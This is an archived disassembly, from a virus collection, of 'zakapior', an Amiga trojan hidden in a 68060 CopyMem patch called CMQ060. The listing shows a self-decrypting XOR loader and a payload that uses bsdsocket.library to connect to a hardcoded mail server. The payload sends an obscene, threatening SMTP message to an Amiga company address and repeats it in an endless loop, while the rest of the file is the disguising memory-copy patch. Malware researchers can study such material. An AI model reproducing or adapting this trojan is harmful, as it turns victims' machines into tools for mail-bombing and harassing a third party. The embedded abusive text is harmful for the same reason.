home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / zakapior / CMQ060_dec.asm_2 < prev    next >
Text File  |  2016-09-28  |  7KB  |  399 lines
  1.  
  2. AFLINE    macro
  3.     dw    \1
  4.     endm
  5. _LVOSplitName:    EQU    -$19E
  6. _LVOAllocVec:    EQU    -$2AC
  7. AttnFlags:    EQU    $128
  8. LN_SUCC:    EQU    $0
  9. _LVOCacheClearU:    EQU    -$27C
  10. ExecBase:    EQU    $0
  11. _LVOOpenResource:    EQU    -$1F2
  12. _LVOOpenLibrary:    EQU    -$228
  13. LIB:    EQU    $0
  14. _LVOCopyMem:    EQU    -$270
  15. ****************************************************************************
  16.     PUSHM    D0-D7/A0-A6
  17.     MOVEA.L    (4).W,A6
  18.     LEA    (lbC00001E,PC),A0
  19.     LEA    (lbL000216,PC),A1
  20.     MOVE.W    #$DEAD,D0
  21. lbC000014:    EOR.W    D0,(A0)+
  22.     CMPA.L    A0,A1
  23.     BNE.B    lbC000014
  24.     JSR    (_LVOCacheClearU,A6)
  25. lbC00001E:    BSR.B    lbC00002C
  26.     db    'dos.library',0
  27.  
  28. ;fiX Bad code terminator
  29. lbC00002C:    POP    A1
  30.     MOVEQ    #$25,D0
  31.     JSR    (_LVOOpenLibrary,A6)
  32.     MOVE.L    D0,D6
  33.     BEQ.B    lbC00007C
  34.     LEA    (lbL000216,PC),A0
  35.     MOVE.L    D6,(A0)
  36.     MOVE.L    #$196,D4
  37.     MOVEQ    #0,D1
  38.     MOVE.L    D4,D0
  39.     JSR    (_LVOAllocVec,A6)
  40.     MOVE.L    D0,D5
  41.     BEQ.B    lbC000076
  42.     MOVEA.L    D0,A1
  43.     LEA    (lbC000084,PC),A0
  44.     MOVE.L    D4,D0
  45.     JSR    (_LVOCopyMem,A6)
  46.     EXG    D6,A6
  47.     LEA    (zakapior.MSG,PC),A0
  48.     LEA    (lbL0001F8,PC),A1
  49.     MOVE.L    A0,(12,A1)
  50.     MOVE.L    A1,D1
  51.     MOVE.L    D5,(4,A1)
  52.     JSR    (_LVOOpenResource,A6)
  53.     EXG    D6,A6
  54. lbC000076:    MOVEA.L    D6,A1
  55.     JSR    (_LVOSplitName,A6)
  56. lbC00007C:    POPM    D0-D7/A0-A6
  57.     BRA.W    lbC00021A
  58.  
  59. lbC000084:    MOVEA.L    (4).W,A6
  60.     MOVEQ    #4,D0
  61.     LEA    (bsdsocketlibr.MSG,PC),A1
  62.     JSR    (_LVOOpenLibrary,A6)
  63.     TST.L    D0
  64.     BEQ.B    lbC00010A
  65.     MOVEQ    #-1,D4
  66.     MOVEA.L    D0,A5
  67.     MOVEQ    #2,D0
  68.     MOVEQ    #1,D1
  69.     MOVEQ    #0,D2
  70.     EXG    A5,A6
  71.     JSR    (-$1E,A6)
  72. ;fiX "_LVO" type symbol expected
  73.     CMP.L    D4,D0
  74.     BEQ.B    lbC000102
  75.     MOVE.L    D0,D6
  76.     MOVE.L    #$FFFF,D1
  77.     MOVE.L    #$80,D2
  78.     LEA    (lbL00013C,PC),A0
  79.     MOVEQ    #8,D3
  80.     JSR    (-$5A,A6)
  81. ;fiX "_LVO" type symbol expected
  82.     LEA    (lbL000130,PC),A0
  83.     MOVE.L    D6,D0
  84.     MOVEQ    #$10,D1
  85.     JSR    (-$36,A6)
  86. ;fiX "_LVO" type symbol expected
  87.     CMP.L    D4,D0
  88.     BEQ.B    lbC0000FC
  89.     LEA    (HELO.MSG,PC),A3
  90. lbC0000D6:    MOVE.L    A3,D0
  91. lbC0000D8:    TST.B    (A3)+
  92.     BNE.B    lbC0000D8
  93.     MOVE.L    A3,D3
  94.     SUB.L    D0,D3
  95.     SUBQ.L    #1,D3
  96.     BEQ.B    lbC0000F4
  97.     MOVEA.L    D0,A0
  98.     MOVEQ    #0,D2
  99.     MOVE.L    D6,D0
  100.     MOVE.L    D3,D1
  101.     JSR    (-$42,A6)
  102. ;fiX "_LVO" type symbol expected
  103.     CMP.L    D0,D3
  104.     BEQ.B    lbC0000D6
  105. lbC0000F4:    MOVE.L    D6,D0
  106.     MOVEQ    #2,D1
  107.     JSR    (-$54,A6)
  108. ;fiX "_LVO" type symbol expected
  109. lbC0000FC:    MOVE.L    D6,D0
  110.     JSR    (-$78,A6)
  111. ;fiX "_LVO" type symbol expected
  112. lbC000102:    EXG    A5,A6
  113.     MOVEA.L    A5,A1
  114.     JSR    (-$19E,A6)
  115. ;fiX "_LVO" type symbol expected
  116. lbC00010A:    LEA    (lbL000216,PC),A0
  117.     MOVEA.L    (A0),A6
  118.     MOVE.L    #$BB8,D1
  119.     JSR    (-$C6,A6)
  120. ;fiX "_LVO" type symbol expected
  121.     BRA.W    lbC000084
  122.  
  123. bsdsocketlibr.MSG:    db    'bsdsocket.library',0
  124. lbL000130:    dl    $10020019
  125.     dl    $C38F3846
  126.     dl    0
  127. lbL00013C:    dl    1
  128.     dl    $1E
  129. HELO.MSG:    db    'HELO',$A,0
  130.     db    'MAIL FROM: <X>',$A,0
  131.     db    'RCPT TO: <president@amiga.com>',$A,0
  132.     db    'DATA',$A,0
  133.     db    'From: Amiga Lover <>',$A,0
  134.     db    'Subject: FILTHY CUNT!',$A,$A,0
  135.     db    'FUCK U NAZI CUNT - DIE AND BURN IN HELL AMIG'
  136.     db    'A KILLING WHORE!',$A,0
  137.     db    10
  138.     db    10
  139.     db    '.',$A,0
  140.     db    'QUIT',$A,0
  141.     db    0
  142. lbL0001F8:    dl    $800003EB
  143.     dl    0
  144.     dl    $800003F4
  145.     dl    0
  146.     dl    0
  147. zakapior.MSG:    db    'zakapior',0,0
  148. lbL000216:    dl    0
  149.  
  150. lbC00021A:    MOVEA.L    (4).W,A6
  151.     BTST    #ExecBase+LIB+LN_SUCC+3,(AttnFlags+1,A6)
  152.     BNE.B    lbC00022A
  153. lbC000226:    MOVEQ    #$14,D0
  154.     RTS
  155.  
  156. lbC00022A:    MOVE.L    #$1A3,D0
  157.     MOVEQ    #1,D1
  158.     JSR    (-$C6,A6)
  159. ;fiX "_LVO" type symbol expected
  160.     MOVE.L    D0,D6
  161.     BEQ.B    lbC000226
  162.     ADDI.W    #15,D6
  163.     ANDI.B    #$F0,D6
  164.     LEA    (lbC000290,PC),A0
  165.     MOVEA.L    D6,A1
  166.     MOVE.L    #$194,D0
  167.     BSR.W    lbC000378
  168.     MOVEA.L    A6,A1
  169.     LEA    (-$270).W,A0
  170.     MOVE.L    D6,D0
  171.     JSR    (-$1A4,A6)
  172. ;fiX "_LVO" type symbol expected
  173.     MOVEA.L    A6,A1
  174.     LEA    (-$276).W,A0
  175.     MOVE.L    D6,D0
  176.     ADDI.L    #$E8,D0
  177.     JSR    (-$1A4,A6)
  178. ;fiX "_LVO" type symbol expected
  179.     MOVEQ    #0,D0
  180.     RTS
  181.  
  182. ;fiX Label expected
  183.     db    '$V'
  184.     db    'ER: CMQ060 1.5 (10.7.99)',0,0
  185.  
  186. lbC000290:    TST.L    D0
  187.     BEQ.B    lbC0002E0
  188.     MOVE.W    A1,D1
  189.     BTST    #0,D1
  190.     BEQ.B    lbC0002A4
  191.     MOVE.B    (A0)+,(A1)+
  192.     SUBQ.L    #1,D0
  193.     BEQ.B    lbC0002E0
  194.     MOVE.W    A1,D1
  195. lbC0002A4:    BTST    #1,D1
  196.     BEQ.B    lbC0002BC
  197.     CMPI.L    #1,D0
  198.     BNE.B    lbC0002B6
  199.     MOVE.B    (A0)+,(A1)+
  200.     RTS
  201.  
  202. lbC0002B6:    MOVE.W    (A0)+,(A1)+
  203.     SUBQ.L    #2,D0
  204.     BEQ.B    lbC0002E0
  205. lbC0002BC:    CMPI.L    #$810,D0
  206.     BCC.B    lbC0002E2
  207. lbC0002C4:    MOVE.L    D0,D1
  208.     LSR.W    #2,D1
  209.     BEQ.B    lbC0002D0
  210. lbC0002CA:    MOVE.L    (A0)+,(A1)+
  211.     SUBQ.W    #1,D1
  212.     BNE.B    lbC0002CA
  213. lbC0002D0:    BTST    #1,D0
  214.     BEQ.B    lbC0002D8
  215.     MOVE.W    (A0)+,(A1)+
  216. lbC0002D8:    BTST    #0,D0
  217.     BEQ.B    lbC0002E0
  218.     MOVE.B    (A0)+,(A1)+
  219. lbC0002E0:    RTS
  220.  
  221. lbC0002E2:    CMPA.L    #$1000000,A0
  222.     BCS.B    lbC000344
  223.     CMPA.L    #$1000000,A1
  224.     BCS.B    lbC000344
  225.     MOVE.W    A1,D1
  226.     BTST    #2,D1
  227.     BEQ.B    lbC000300
  228.     SUBQ.L    #4,D0
  229.     MOVE.L    (A0)+,(A1)+
  230.     MOVE.W    A1,D1
  231. lbC000300:    BTST    #3,D1
  232.     BEQ.B    lbC00030C
  233.     SUBQ.L    #8,D0
  234.     MOVE.L    (A0)+,(A1)+
  235.     MOVE.L    (A0)+,(A1)+
  236. lbC00030C:    MOVE.W    A0,D1
  237.     ANDI.B    #15,D1
  238.     BNE.B    lbC000344
  239.     MOVE.L    D0,D1
  240.     LSR.L    #7,D1
  241.     AFLINE    $F620
  242. ;fiX Label expected
  243.     SUB.B    D0,D0
  244.     AFLINE    $F620
  245. ;fiX Label expected
  246.     SUB.B    D0,D0
  247.     AFLINE    $F620
  248. ;fiX Label expected
  249.     SUB.B    D0,D0
  250.     AFLINE    $F620
  251. ;fiX Label expected
  252.     SUB.B    D0,D0
  253.     AFLINE    $F620
  254. ;fiX Label expected
  255.     SUB.B    D0,D0
  256.     AFLINE    $F620
  257. ;fiX Label expected
  258.     SUB.B    D0,D0
  259.     AFLINE    $F620
  260. ;fiX Label expected
  261.     SUB.B    D0,D0
  262.     AFLINE    $F620
  263. ;fiX Label expected
  264.     SUB.B    D0,D0
  265.     SUBQ.L    #1,D1
  266.     BNE.B    START+$0318
  267. ;fiX Invalid reference
  268.     AND.W    #$7F,D0
  269.     BNE.B    lbC0002C4
  270.     RTS
  271.  
  272. lbC000344:    MOVE.L    D0,D1
  273.     LSR.L    #6,D1
  274. lbC000348:    MOVE.L    (A0)+,(A1)+
  275.     MOVE.L    (A0)+,(A1)+
  276.     MOVE.L    (A0)+,(A1)+
  277.     MOVE.L    (A0)+,(A1)+
  278.     MOVE.L    (A0)+,(A1)+
  279.     MOVE.L    (A0)+,(A1)+
  280.     MOVE.L    (A0)+,(A1)+
  281.     MOVE.L    (A0)+,(A1)+
  282.     MOVE.L    (A0)+,(A1)+
  283.     MOVE.L    (A0)+,(A1)+
  284.     MOVE.L    (A0)+,(A1)+
  285.     MOVE.L    (A0)+,(A1)+
  286.     MOVE.L    (A0)+,(A1)+
  287.     MOVE.L    (A0)+,(A1)+
  288.     MOVE.L    (A0)+,(A1)+
  289.     MOVE.L    (A0)+,(A1)+
  290.     SUBQ.L    #1,D1
  291.     BNE.B    lbC000348
  292.     AND.W    #$3F,D0
  293.     BNE.W    lbC0002C4
  294.     RTS
  295.  
  296. ;fiX Label expected
  297.     NOP
  298. lbC000378:    LSR.L    #2,D0
  299.     CMPI.L    #$204,D0
  300.     BCC.B    lbC00038E
  301.     TST.W    D0
  302.     BEQ.B    lbC00038C
  303. lbC000386:    MOVE.L    (A0)+,(A1)+
  304.     SUBQ.W    #1,D0
  305.     BNE.B    lbC000386
  306. lbC00038C:    RTS
  307.  
  308. lbC00038E:    CMPA.L    #$1000000,A0
  309.     BCS.B    lbC0003F0
  310.     CMPA.L    #$1000000,A1
  311.     BCS.B    lbC0003F0
  312.     MOVE.W    A1,D1
  313.     BTST    #2,D1
  314.     BEQ.B    lbC0003AC
  315.     SUBQ.L    #1,D0
  316.     MOVE.L    (A0)+,(A1)+
  317.     MOVE.W    A1,D1
  318. lbC0003AC:    BTST    #3,D1
  319.     BEQ.B    lbC0003B8
  320.     SUBQ.L    #2,D0
  321.     MOVE.L    (A0)+,(A1)+
  322.     MOVE.L    (A0)+,(A1)+
  323. lbC0003B8:    MOVE.W    A0,D1
  324.     ANDI.B    #15,D1
  325.     BNE.B    lbC0003F0
  326.     MOVE.L    D0,D1
  327.     LSR.L    #5,D1
  328.     AFLINE    $F620
  329. ;fiX Label expected
  330.     SUB.B    D0,D0
  331.     AFLINE    $F620
  332. ;fiX Label expected
  333.     SUB.B    D0,D0
  334.     AFLINE    $F620
  335. ;fiX Label expected
  336.     SUB.B    D0,D0
  337.     AFLINE    $F620
  338. ;fiX Label expected
  339.     SUB.B    D0,D0
  340.     AFLINE    $F620
  341. ;fiX Label expected
  342.     SUB.B    D0,D0
  343.     AFLINE    $F620
  344. ;fiX Label expected
  345.     SUB.B    D0,D0
  346.     AFLINE    $F620
  347. ;fiX Label expected
  348.     SUB.B    D0,D0
  349.     AFLINE    $F620
  350. ;fiX Label expected
  351.     SUB.B    D0,D0
  352.     SUBQ.L    #1,D1
  353.     BNE.B    START+$03C4
  354. ;fiX Invalid reference
  355.     AND.W    #$1F,D0
  356.     BNE.B    lbC000386
  357.     RTS
  358.  
  359. lbC0003F0:    MOVE.L    D0,D1
  360.     LSR.L    #4,D1
  361. lbC0003F4:    MOVE.L    (A0)+,(A1)+
  362.     MOVE.L    (A0)+,(A1)+
  363.     MOVE.L    (A0)+,(A1)+
  364.     MOVE.L    (A0)+,(A1)+
  365.     MOVE.L    (A0)+,(A1)+
  366.     MOVE.L    (A0)+,(A1)+
  367.     MOVE.L    (A0)+,(A1)+
  368.     MOVE.L    (A0)+,(A1)+
  369.     MOVE.L    (A0)+,(A1)+
  370.     MOVE.L    (A0)+,(A1)+
  371.     MOVE.L    (A0)+,(A1)+
  372.     MOVE.L    (A0)+,(A1)+
  373.     MOVE.L    (A0)+,(A1)+
  374.     MOVE.L    (A0)+,(A1)+
  375.     MOVE.L    (A0)+,(A1)+
  376.     MOVE.L    (A0)+,(A1)+
  377.     SUBQ.L    #1,D1
  378.     BNE.B    lbC0003F4
  379.     AND.W    #15,D0
  380.     BNE.W    lbC000386
  381.     RTS
  382.  
  383. ;fiX Label expected
  384.     NOP
  385.     MOVE.W    ($30,A0,D3.W),D0
  386.     BVC.B    umber682A7468.MSG
  387. ;fiX Code reference expected
  388.     db    '&'
  389. ;fiX Bad code terminator
  390.     db    $88
  391.     db    'h*mP',0,0
  392.     db    'h*tU',0,0
  393.     db    0
  394.     db    '3'
  395.     db    $9B
  396.     db    '0mHex n'
  397. umber682A7468.MSG:    db    'umber 682A7468 '
  398.     end
  399.